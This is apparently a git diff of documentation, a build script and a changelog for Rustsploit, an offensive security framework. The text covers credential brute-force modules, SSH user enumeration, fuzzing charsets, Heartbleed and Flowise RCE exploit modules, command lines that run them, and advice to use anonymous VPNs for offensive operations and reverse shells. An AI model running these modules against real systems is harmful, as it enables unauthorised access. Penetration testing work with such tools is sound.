- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
|
||||
|
||||
All targets are validated for security (DoS prevention, path traversal protection, format validation).
|
||||
|
||||
### Module Improvements
|
||||
|
||||
- **Telnet Bruteforce**:
|
||||
- Full Telnet IAC (Interpret As Command) negotiation support
|
||||
- Enhanced error classification (connection, DNS, authentication, protocol, I/O, timeout errors)
|
||||
- Verbose mode for quick checks showing all attempts and detailed statistics
|
||||
- Improved buffer handling and memory management
|
||||
|
||||
- **RDP Bruteforce**:
|
||||
- Automatic streaming failover for password files >150MB to prevent memory exhaustion
|
||||
- Comprehensive error classification (ConnectionFailed, AuthenticationFailed, CertificateError, Timeout, NetworkError, ProtocolError, ToolNotFound, Unknown)
|
||||
- Support for multiple RDP security levels: Auto, NLA, TLS, RDP, Negotiate
|
||||
- Command injection prevention in external tool calls
|
||||
|
||||
- **MQTT Bruteforce**:
|
||||
- Full MQTT 3.1.1 protocol implementation
|
||||
- Proper CONNECT packet construction with variable-length encoding
|
||||
- CONNACK response parsing and error classification
|
||||
|
||||
- **SSH User Enumeration**:
|
||||
- Timing attack-based user enumeration (inspired by CVE-2018-15473)
|
||||
- Statistical analysis with configurable samples and thresholds
|
||||
- Distinguishes valid/invalid users based on authentication time differences
|
||||
|
||||
- **Directory Bruteforcer**:
|
||||
- High-performance recursive directory scanning
|
||||
- Custom wordlists with extension appending
|
||||
- Smart status code filtering and size anomaly detection
|
||||
- Interactive wizard for easy configuration
|
||||
|
||||
- **Sequential Fuzzer**:
|
||||
- Targeted fuzzing for URLs, headers, and body parameters
|
||||
- Multiple encoding types (URL, Double URL, Hex, Base64, etc.)
|
||||
- Custom charsets (SQL, Traversal, Command Injection)
|
||||
- Iterative generation for exhaustive coverage
|
||||
|
||||
## Interactive Shell Walkthrough
|
||||
|
||||
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
|
||||
@@ -160,26 +290,28 @@ find find <kw> | f1 <kw> Search modules by keyword
|
||||
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
|
||||
set target set target <value> Set current target (IPv4/IPv6/hostname)
|
||||
run run | go Execute current module (honors proxy mode)
|
||||
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
|
||||
proxy_on/off proxy_on | pon / ... Toggle proxy usage
|
||||
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
|
||||
show_proxies show_proxies | proxies View proxy status
|
||||
exit exit | quit | q Leave shell
|
||||
```
|
||||
|
||||
Example session:
|
||||
|
||||
```text
|
||||
```
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> pl data/proxies.txt # prompts if omitted
|
||||
rsf> pon
|
||||
rsf> proxy_test # optional validation / filtering
|
||||
rsf> go
|
||||
```
|
||||
|
||||
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
|
||||
### Command Chaining
|
||||
|
||||
Execute multiple commands in a single line using the `&` separator:
|
||||
|
||||
```
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
|
||||
```
|
||||
|
||||
This is useful for scripting quick workflows or batching common operations together.
|
||||
|
||||
---
|
||||
|
||||
@@ -187,7 +319,7 @@ If proxy mode is enabled, Rustsploit rotates through validated proxies, falls ba
|
||||
|
||||
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
|
||||
|
||||
```bash
|
||||
```
|
||||
# Exploit
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
|
||||
@@ -198,6 +330,20 @@ cargo run -- --command scanner --module port_scanner --target 192.168.1.1
|
||||
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
|
||||
```
|
||||
|
||||
### Global Flags
|
||||
|
||||
- `--list-modules`: Print all available modules and exit.
|
||||
- `--verbose (-v)`: Enable detailed logging (useful for debugging).
|
||||
- `--output-format <text|json>`: Control output format (default: text).
|
||||
|
||||
```
|
||||
# List all modules
|
||||
cargo run -- --list-modules
|
||||
|
||||
# Run with verbose logging
|
||||
cargo run -- -m exploits/sample_exploit -t 127.0.0.1 -v
|
||||
```
|
||||
|
||||
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
|
||||
|
||||
---
|
||||
@@ -208,7 +354,7 @@ Rustsploit includes a REST API server mode that allows remote control of the too
|
||||
|
||||
### Starting the API Server
|
||||
|
||||
```bash
|
||||
```
|
||||
# Basic API server (defaults to 0.0.0.0:8080)
|
||||
cargo run -- --api --api-key your-secret-key-here
|
||||
|
||||
@@ -236,7 +382,7 @@ cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
|
||||
|
||||
All endpoints except `/health` require authentication via the `Authorization` header:
|
||||
|
||||
```bash
|
||||
```
|
||||
# Bearer token format
|
||||
Authorization: Bearer your-api-key-here
|
||||
|
||||
@@ -247,54 +393,105 @@ Authorization: ApiKey your-api-key-here
|
||||
#### Public Endpoints
|
||||
|
||||
- **`GET /health`** - Health check (no authentication required)
|
||||
```bash
|
||||
```
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
#### Protected Endpoints
|
||||
|
||||
- **`GET /api/modules`** - List all available modules
|
||||
```bash
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
- **`GET /api/module/:category/:name`** - Get details for a specific module
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/module/exploits/sample_exploit
|
||||
```
|
||||
|
||||
- **`POST /api/run`** - Execute a module on a target
|
||||
```bash
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
- **`POST /api/validate`** - Validate parameters without execution
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/validate
|
||||
```
|
||||
|
||||
- **`GET /api/status`** - Get API server status and statistics
|
||||
```bash
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
|
||||
```
|
||||
|
||||
- **`POST /api/rotate-key`** - Manually rotate the API key
|
||||
```bash
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
http://localhost:8080/api/rotate-key
|
||||
```
|
||||
|
||||
- **`GET /api/ips`** - Get all tracked IP addresses with details
|
||||
```bash
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
- **`GET /api/auth-failures`** - Get authentication failure statistics
|
||||
```bash
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
|
||||
```
|
||||
|
||||
### telnet config
|
||||
```
|
||||
{
|
||||
"port": 23,
|
||||
"username_wordlist": "usernames.txt",
|
||||
"password_wordlist": "passwords.txt",
|
||||
"threads": 10,
|
||||
"delay_ms": 50,
|
||||
"connection_timeout": 3,
|
||||
"read_timeout": 1,
|
||||
"stop_on_success": true,
|
||||
"verbose": false,
|
||||
"full_combo": true,
|
||||
"raw_bruteforce": false,
|
||||
"raw_charset": "",
|
||||
"raw_min_length": 0,
|
||||
"raw_max_length": 0,
|
||||
"output_file": "results.txt",
|
||||
"append_mode": false,
|
||||
"pre_validate": true,
|
||||
"retry_on_error": true,
|
||||
"max_retries": 2,
|
||||
"login_prompts": ["login:", "username:"],
|
||||
"password_prompts": ["password:"],
|
||||
"success_indicators": ["$", "#", "welcome"],
|
||||
"failure_indicators": ["incorrect", "failed"]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Input Validation & Security
|
||||
- **Request Body Limiting:** Maximum 1MB request body to prevent DoS attacks
|
||||
- **API Key Validation:** Keys must be printable ASCII, max 256 characters
|
||||
- **Target Validation:** All targets are validated for length, control characters, and path traversal
|
||||
- **Module Path Sanitization:** Module names are validated against path traversal and injection attacks
|
||||
- **Resource Limits:** Automatic cleanup when tracked IPs or auth failures exceed 100,000 entries
|
||||
|
||||
#### Rate Limiting
|
||||
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests` responses
|
||||
- Failed attempts are logged to both terminal and log file
|
||||
- Counter resets automatically after the block period expires
|
||||
- Successful authentication resets the failure counter for that IP
|
||||
- Automatic cleanup of expired blocks and entries older than 1 hour
|
||||
|
||||
#### Hardening Mode
|
||||
When `--harden` is enabled:
|
||||
@@ -302,6 +499,7 @@ When `--harden` is enabled:
|
||||
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
|
||||
- Logs all rotation events to terminal and `rustsploit_api.log`
|
||||
- Clears IP tracking after key rotation
|
||||
- Automatic pruning when tracker exceeds 100,000 entries
|
||||
|
||||
#### Logging
|
||||
All API activity is logged to:
|
||||
@@ -314,10 +512,13 @@ Log entries include:
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
- Resource cleanup operations
|
||||
|
||||
**Note:** API responses now include `request_id`, `timestamp`, and `duration_ms` for better observability.
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
```bash
|
||||
```
|
||||
# 1. Start the API server
|
||||
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
|
||||
|
||||
@@ -342,20 +543,18 @@ curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
|
||||
---
|
||||
|
||||
## Proxy Workflow
|
||||
## Private Internet Recommendations
|
||||
|
||||
Rustsploit treats proxy lists as first-class citizens:
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions which offer far superior reliability and security for offensive operations.
|
||||
|
||||
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
|
||||
- Loads from user-supplied files, skipping invalid lines with reasons
|
||||
- Optional connectivity test prompts allow tuning:
|
||||
- Test URL (default `https://example.com`)
|
||||
- Timeout (seconds)
|
||||
- Max concurrent checks
|
||||
- Keeps only working proxies when validation is requested
|
||||
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
|
||||
We strongly recommend **[Mullvad VPN](https://mullvad.net)** for the following reasons:
|
||||
- **No Registration:** Account numbers are generated without email or personal data.
|
||||
- **Privacy Focus:** Proven no-logs policy, audited infrastructure, and anonymous payment options (Cash, Crypto).
|
||||
- **WireGuard Support:** High-performance, low-latency tunneling essential for scanning and brute-forcing.
|
||||
- **Port Forwarding:** (Note: check current availability) historically supported for reverse shells.
|
||||
- **Linux CLI:** Excellent command-line client that integrates well with headless setups.
|
||||
|
||||
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
|
||||
To use Rustsploit with Mullvad (or any VPN), simply connect the VPN on your host system before running the tool. All traffic will naturally route through the tunnel.
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -1,18 +1,12 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::fs::File;
|
||||
use std::io::{Read, Write};
|
||||
use std::path::Path;
|
||||
use regex::Regex;
|
||||
use walkdir::WalkDir;
|
||||
|
||||
/// Build script that generates module dispatchers for exploits, scanners, and creds.
|
||||
///
|
||||
/// This script:
|
||||
/// - Scans `src/modules/{category}/` directories recursively
|
||||
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
|
||||
/// - Generates dispatch functions that support both short names and full paths
|
||||
/// - Creates deterministic, sorted output for better maintainability
|
||||
|
||||
fn main() {
|
||||
// Tell Cargo to rerun this build script if module directories change
|
||||
println!("cargo:rerun-if-changed=src/modules/exploits");
|
||||
@@ -34,21 +28,13 @@ fn main() {
|
||||
}
|
||||
}
|
||||
|
||||
/// Generates a dispatch function for a module category.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
|
||||
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
|
||||
/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
|
||||
/// * `category_name` - Category name for error messages (e.g., "Exploit")
|
||||
fn generate_dispatch(
|
||||
root: &str,
|
||||
out_file: &str,
|
||||
mod_prefix: &str,
|
||||
category_name: &str,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
let out_dir = env::var("OUT_DIR")
|
||||
.map_err(|_| "OUT_DIR environment variable not set")?;
|
||||
let out_dir = env::var("OUT_DIR").map_err(|_| "OUT_DIR environment variable not set")?;
|
||||
let dest_path = Path::new(&out_dir).join(out_file);
|
||||
|
||||
let root_path = Path::new(root);
|
||||
@@ -56,63 +42,42 @@ fn generate_dispatch(
|
||||
return Err(format!("Module directory '{}' does not exist", root).into());
|
||||
}
|
||||
|
||||
// Collect all module mappings (using HashSet to avoid duplicates)
|
||||
let mut mappings = HashSet::new();
|
||||
visit_dirs(root_path, "".to_string(), &mut mappings)?;
|
||||
let mappings = find_modules(root_path)?;
|
||||
|
||||
// Sort for deterministic output
|
||||
let mut sorted_mappings: Vec<_> = mappings.into_iter().collect();
|
||||
sorted_mappings.sort_by(|a, b| a.0.cmp(&b.0));
|
||||
|
||||
if mappings.is_empty() {
|
||||
eprintln!("⚠️ Warning: No modules found in {}", root);
|
||||
let mut file = File::create(&dest_path)?;
|
||||
|
||||
writeln!(file, "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n")?;
|
||||
|
||||
// Generate AVAILABLE_MODULES constant for runtime discovery
|
||||
writeln!(file, "/// List of all available modules in this category.")?;
|
||||
writeln!(file, "pub const AVAILABLE_MODULES: &[&str] = &[")?;
|
||||
for (key, _) in &sorted_mappings {
|
||||
writeln!(file, " \"{}\",", key)?;
|
||||
}
|
||||
writeln!(file, "];\n")?;
|
||||
|
||||
// Sort mappings for deterministic output
|
||||
let mut sorted_mappings: Vec<_> = mappings.iter().collect();
|
||||
sorted_mappings.sort_by_key(|(key, _)| key);
|
||||
writeln!(file, "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{")?;
|
||||
writeln!(file, " match module_name {{")?;
|
||||
|
||||
// Generate the dispatch function
|
||||
let mut file = File::create(&dest_path)
|
||||
.map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
|
||||
)?;
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"/// Dispatches to the appropriate {} module based on module name.\n\
|
||||
/// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
|
||||
category_name.to_lowercase()
|
||||
)?;
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
)?;
|
||||
|
||||
// Generate match arms for each module (supporting both short and full names)
|
||||
for (key, mod_path) in &sorted_mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
// Support both short name and full path
|
||||
if short_key == *key {
|
||||
// No subdirectory, only short name
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{k}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
k = key,
|
||||
m = mod_code_path,
|
||||
p = mod_prefix
|
||||
k = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
} else {
|
||||
// Has subdirectory, support both short and full
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
m = mod_code_path,
|
||||
p = mod_prefix
|
||||
short = short_key, full = key, m = mod_code_path, p = mod_prefix
|
||||
)?;
|
||||
}
|
||||
}
|
||||
@@ -122,92 +87,38 @@ fn generate_dispatch(
|
||||
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
|
||||
category_name
|
||||
)?;
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}")?;
|
||||
|
||||
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Recursively visits directories to find all module files.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `dir` - Directory to scan
|
||||
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
|
||||
/// * `mappings` - Set to store (full_path, module_path) tuples
|
||||
fn visit_dirs(
|
||||
dir: &Path,
|
||||
prefix: String,
|
||||
mappings: &mut HashSet<(String, String)>,
|
||||
) -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Compile regex once for better performance
|
||||
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
|
||||
.map_err(|e| format!("Failed to compile regex: {}", e))?;
|
||||
/// Finds all valid modules recursively using WalkDir
|
||||
fn find_modules(root: &Path) -> Result<HashSet<(String, String)>, Box<dyn std::error::Error>> {
|
||||
let mut mappings = HashSet::new();
|
||||
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")?;
|
||||
|
||||
if !dir.is_dir() {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let mut entries: Vec<_> = fs::read_dir(dir)?
|
||||
.collect::<Result<Vec<_>, _>>()?;
|
||||
|
||||
// Sort entries for deterministic processing
|
||||
entries.sort_by_key(|e| e.file_name());
|
||||
|
||||
for entry in entries {
|
||||
for entry in WalkDir::new(root).follow_links(false).into_iter().filter_map(|e| e.ok()) {
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name();
|
||||
if path.is_file() && path.extension().map_or(false, |e| e == "rs") {
|
||||
let file_stem = path.file_stem().and_then(|s| s.to_str()).unwrap_or("");
|
||||
if file_stem == "mod" || file_stem == "lib" { continue; }
|
||||
|
||||
if path.is_dir() {
|
||||
// Recursively visit subdirectories
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.to_string_lossy().to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name.to_string_lossy())
|
||||
};
|
||||
visit_dirs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
// Process Rust files
|
||||
let file_stem = path.file_stem()
|
||||
.and_then(|s| s.to_str())
|
||||
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
|
||||
|
||||
// Skip mod.rs files
|
||||
if file_stem == "mod" {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Build module path
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Full key includes the category prefix (will be added in generate_dispatch)
|
||||
let key = mod_path.clone();
|
||||
|
||||
// Read and check for the run function signature
|
||||
let mut source = String::new();
|
||||
File::open(&path)?.read_to_string(&mut source)?;
|
||||
|
||||
if sig_re.is_match(&source) {
|
||||
mappings.insert((key.clone(), mod_path.clone()));
|
||||
let display_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
println!(" ✅ Registered module: {}", display_path);
|
||||
} else {
|
||||
// Only warn in verbose mode to reduce noise
|
||||
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
|
||||
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
|
||||
// Calculate module path relative to root
|
||||
// e.g. path = src/modules/exploits/linux/foo.rs, root = src/modules/exploits
|
||||
// relative = linux/foo.rs
|
||||
if let Ok(relative) = path.strip_prefix(root) {
|
||||
let rel_str = relative.with_extension("").to_string_lossy().replace("\\", "/");
|
||||
|
||||
// Read content to check signature
|
||||
let mut content = String::new();
|
||||
if File::open(path).and_then(|mut f| f.read_to_string(&mut content)).is_ok() {
|
||||
if sig_re.is_match(&content) {
|
||||
mappings.insert((rel_str.clone(), rel_str));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
Ok(mappings)
|
||||
}
|
||||
|
||||
-457
@@ -1,457 +0,0 @@
|
||||
Hardened rtsp_bruteforce_advanced by validating path, username, and password wordlists before spinning up tasks, and by falling back to a safe root path when a path list is empty to avoid runtime panics.
|
||||
|
||||
Added identical early-exit checks and trimming for the SSH brute-force runner so it fails fast when wordlists are empty instead of silently doing nothing.
|
||||
|
||||
Brought the FTP brute-force helper in line with the others by trimming entries, rejecting empty wordlists, and ensuring helper utilities only return meaningful credentials.
|
||||
|
||||
|
||||
Proxy Improvements
|
||||
|
||||
Refined proxy loading to validate schemes/hosts/ports, capture parse errors, and expose optional connectivity testing via utils::load_proxies_from_file and utils::test_proxies, keeping only working entries when requested.
|
||||
|
||||
Enhanced shell commands: proxy_load now prompts for a path when omitted, reports skipped entries, offers a recommended “test proxies” prompt, and added a dedicated proxy_test command plus reusable prompt helpers.
|
||||
|
||||
Implemented interactive proxy-test workflow that gathers URL/timeouts/concurrency, filters failing proxies, and auto-disables proxy mode when none survive.
|
||||
|
||||
|
||||
Shell UX Refresh
|
||||
Reworked command parsing to support ergonomic aliases (help/h/?, modules/ls/m, find/f1, proxy_load/pl, etc.) and keep everything case-insensitive and whitespace tolerant.
|
||||
|
||||
Added a richer, colorized help palette that lists shortcuts and usage tips so “f1 ssh” style workflows are obvious.
|
||||
|
||||
Introduced helpers (split_command, resolve_command) to drive the new UX without changing existing behavior, plus guarded prompt utilities already in place.
|
||||
|
||||
|
||||
README Refresh
|
||||
|
||||
Rebuilt the README into a professional GitHub-ready document with a TOC, feature highlights, module catalog summary, quick start commands, shell walkthrough (including the new shortcuts), CLI usage, proxy workflow, module discovery flow, and contributing/credits notes.
|
||||
|
||||
README Suite Updated
|
||||
|
||||
README.md already reflects the full feature set; no further changes needed.
|
||||
docs/readme.md rewritten into a comprehensive developer guide covering architecture, module discovery, shell internals, proxy system, authoring practices, and roadmap items.
|
||||
lists/readme.md expanded to document shipped wordlists, usage guidelines, and contribution notes so operators know how data files tie into modules.
|
||||
|
||||
Pingsweep.rs
|
||||
|
||||
improved and reworked
|
||||
|
||||
|
||||
Added an API launch mode to RustSploit with the requested features.
|
||||
Features implemented
|
||||
API launch mode: --api flag to start the API server
|
||||
API key authentication: --api-key flag (required when using --api)
|
||||
Dynamic API key rotation: manual via /api/rotate-key endpoint and automatic when hardening triggers
|
||||
Hardening mode: --harden flag enables IP-based protection
|
||||
Auto-rotation: when unique IPs exceed the limit (default: 10), the API key auto-rotates
|
||||
Notifications: alerts in terminal and log file (rustsploit_api.log in the same directory)
|
||||
Interface selection: --interface flag (defaults to 0.0.0.0), supports IP/interface or full address with port
|
||||
API endpoints
|
||||
GET /health - Health check (no auth required)
|
||||
GET /api/modules - List all available modules
|
||||
POST /api/run - Run a module on a target
|
||||
GET /api/status - Get API server status
|
||||
POST /api/rotate-key - Manually rotate the API key
|
||||
|
||||
Usage examples
|
||||
# Basic API server on 0.0.0.0:8080./rustsploit --api --api-key my-secret-key# With hardening enabled (auto-rotate on >10 unique IPs)./rustsploit --api --api-key my-secret-key --harden# Custom interface and IP limit./rustsploit --api --api-key my-secret-key --harden --interface 127.0.0.1 --ip-limit 5# Custom port./rustsploit --api --api-key my-secret-key --interface 0.0.0.0:9000
|
||||
|
||||
Security features
|
||||
API key authentication on all protected endpoints
|
||||
IP tracking and monitoring
|
||||
Automatic key rotation when suspicious activity is detected
|
||||
Logging to both terminal and file for audit trails
|
||||
IP limit enforcement with configurable thresholds
|
||||
|
||||
All IpTracker fields are used:
|
||||
ip: Used in logging, status endpoint, and the new /api/ips endpoint
|
||||
first_seen: Used in logging to show when IP was first detected, and in both endpoints
|
||||
last_seen: Used in status and /api/ips endpoints
|
||||
request_count: Used in logging and both endpoints
|
||||
New endpoint added: /api/ips - Returns all tracked IP addresses with full details including all fields
|
||||
Enhanced get_status endpoint: Now includes detailed IP tracking information with all fields from each IpTracker
|
||||
Enhanced track_ip method: Now logs detailed information using all fields, including duration calculations
|
||||
Added serde feature to chrono: Enables DateTime<Utc> serialization
|
||||
All routes properly wired: The new /api/ips endpoint is added to the protected routes
|
||||
The code should compile without any dead code warnings. All fields are actively used in:
|
||||
Logging operations
|
||||
API responses
|
||||
Status reporting
|
||||
IP tracking calculations
|
||||
|
||||
|
||||
|
||||
Added authorization rate limiting with the following features:
|
||||
Rate limiting logic:
|
||||
Tracks failed authentication attempts per IP
|
||||
Blocks IPs for 30 seconds after 3 failed attempts
|
||||
Automatically resets the counter after the block period expires
|
||||
Resets the counter on successful authentication
|
||||
New AuthFailureTracker struct:
|
||||
ip: IP address being tracked
|
||||
failed_attempts: Number of failed attempts
|
||||
first_failure: Timestamp of first failure
|
||||
blocked_until: Timestamp when block expires (if blocked)
|
||||
Enhanced auth middleware:
|
||||
Checks rate limit before processing authentication
|
||||
Records failures when invalid keys are provided
|
||||
Resets counter on successful authentication
|
||||
Returns 429 Too Many Requests when blocked
|
||||
Logging:
|
||||
Logs all rate limit events to terminal and log file
|
||||
Shows remaining block time
|
||||
Tracks duration since first failure
|
||||
New API endpoint:
|
||||
GET /api/auth-failures - Returns all IPs with authentication failures and their status
|
||||
Enhanced existing endpoints:
|
||||
/api/ips now includes auth failure information for each IP
|
||||
|
||||
Updated Files
|
||||
1. README.md
|
||||
|
||||
|
||||
Added API Server Mode to the table of contents
|
||||
Added REST API Server to highlights
|
||||
Added an API Server Mode section with:
|
||||
Starting the API server (cargo commands)
|
||||
API flags table
|
||||
All endpoints with curl examples
|
||||
Security features (rate limiting, hardening, logging)
|
||||
Example workflow
|
||||
2. docs/readme.md (Developer Guide)
|
||||
Added API Server Architecture to the table of contents
|
||||
Updated code layout to include api.rs
|
||||
Added an API Server Architecture section with:
|
||||
Architecture overview
|
||||
State management details
|
||||
Authentication middleware explanation
|
||||
Rate limiting and hardening mode details
|
||||
Key components with code examples
|
||||
API endpoints list
|
||||
Logging information
|
||||
CLI usage examples
|
||||
Documentation Highlights
|
||||
The docs now include:
|
||||
Cargo commands for starting the API server
|
||||
All available flags (--api, --api-key, --harden, --interface, --ip-limit)
|
||||
Complete endpoint documentation with curl examples
|
||||
Security features explanation (rate limiting, hardening, logging)
|
||||
Architecture details for developers
|
||||
Example workflows
|
||||
|
||||
|
||||
Improving build.rs with better error handling, short name support, sorting, and other enhancements:
|
||||
build.rs
|
||||
|
||||
|
||||
Removing the unused import:
|
||||
build.rs
|
||||
|
||||
|
||||
Improvements
|
||||
Error handling
|
||||
Replaced .unwrap() with Result types
|
||||
Clear error messages with context
|
||||
Validates directory existence before processing
|
||||
Short name support
|
||||
Generates match arms for both short names (e.g., port_scanner) and full paths (e.g., scanners/port_scanner)
|
||||
Matches the pattern used in the generated dispatcher files
|
||||
|
||||
Deterministic output
|
||||
Sorts mappings and directory entries for consistent builds
|
||||
Easier to review generated code in version control
|
||||
Deduplication
|
||||
Uses HashSet to avoid duplicate module registrations
|
||||
Documentation
|
||||
Added doc comments explaining the script's purpose and behavior
|
||||
Regex
|
||||
More flexible pattern that handles different parameter names (e.g., target, _target)
|
||||
Code organization
|
||||
Uses a vector of tuples to iterate over categories, reducing duplication
|
||||
More maintainable structure
|
||||
|
||||
Verbose mode
|
||||
Optional verbose warnings via RUSTSPLOIT_VERBOSE_BUILD environment variable
|
||||
Reduces noise during normal builds
|
||||
Better path handling
|
||||
More robust path operations with proper error handling
|
||||
Handles edge cases better
|
||||
Output quality
|
||||
Adds header comments to generated files
|
||||
Includes documentation in generated code
|
||||
Better formatted output
|
||||
The build script is now more robust, maintainable, and feature-complete. It should handle edge cases better and provide clearer feedback during the build process.
|
||||
|
||||
|
||||
ping_sweep.rs improvements
|
||||
Progress reporting: real-time progress with percentage, hosts up count, and scan rate
|
||||
Parallel TCP probing: ports are probed in parallel for better performance
|
||||
Better ICMP detection: detects and uses the correct ping command (ping vs ping6, handles IPv6 with -6 flag)
|
||||
Error handling: clearer error messages when ping commands are missing
|
||||
Progress cleanup: clears progress line at completion for cleaner output
|
||||
|
||||
|
||||
ssdp_msearch.rs improvements
|
||||
Multiple search targets: supports upnp:rootdevice, ssdp:all, and custom ST values
|
||||
Configurable timeout: user can set timeout (default 3 seconds)
|
||||
Retry logic: configurable retries (default 1, max 10) with delays between attempts
|
||||
Verbose mode: optional verbose output showing requests and detailed errors
|
||||
Enhanced response parsing: extracts additional SSDP headers (ST, NT, Cache-Control, EXT)
|
||||
Better error handling: proper error context and messages throughout
|
||||
Larger buffer: increased from 2048 to 4096 bytes for larger SSDP responses
|
||||
User-Agent header: adds RustSploit user-agent to requests
|
||||
Better output formatting: improved response display with additional header information
|
||||
Both modules now have:
|
||||
Better error handling
|
||||
More features and configurability
|
||||
Improved performance
|
||||
Better user experience with progress indicators and verbose modes
|
||||
More robust cross-platform support
|
||||
|
||||
|
||||
|
||||
Created Files:
|
||||
|
||||
src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs - Main exploit module
|
||||
src/modules/exploits/flowise/mod.rs - Module registration file
|
||||
Updated src/modules/exploits/mod.rs - Added flowise module
|
||||
|
||||
|
||||
Features:
|
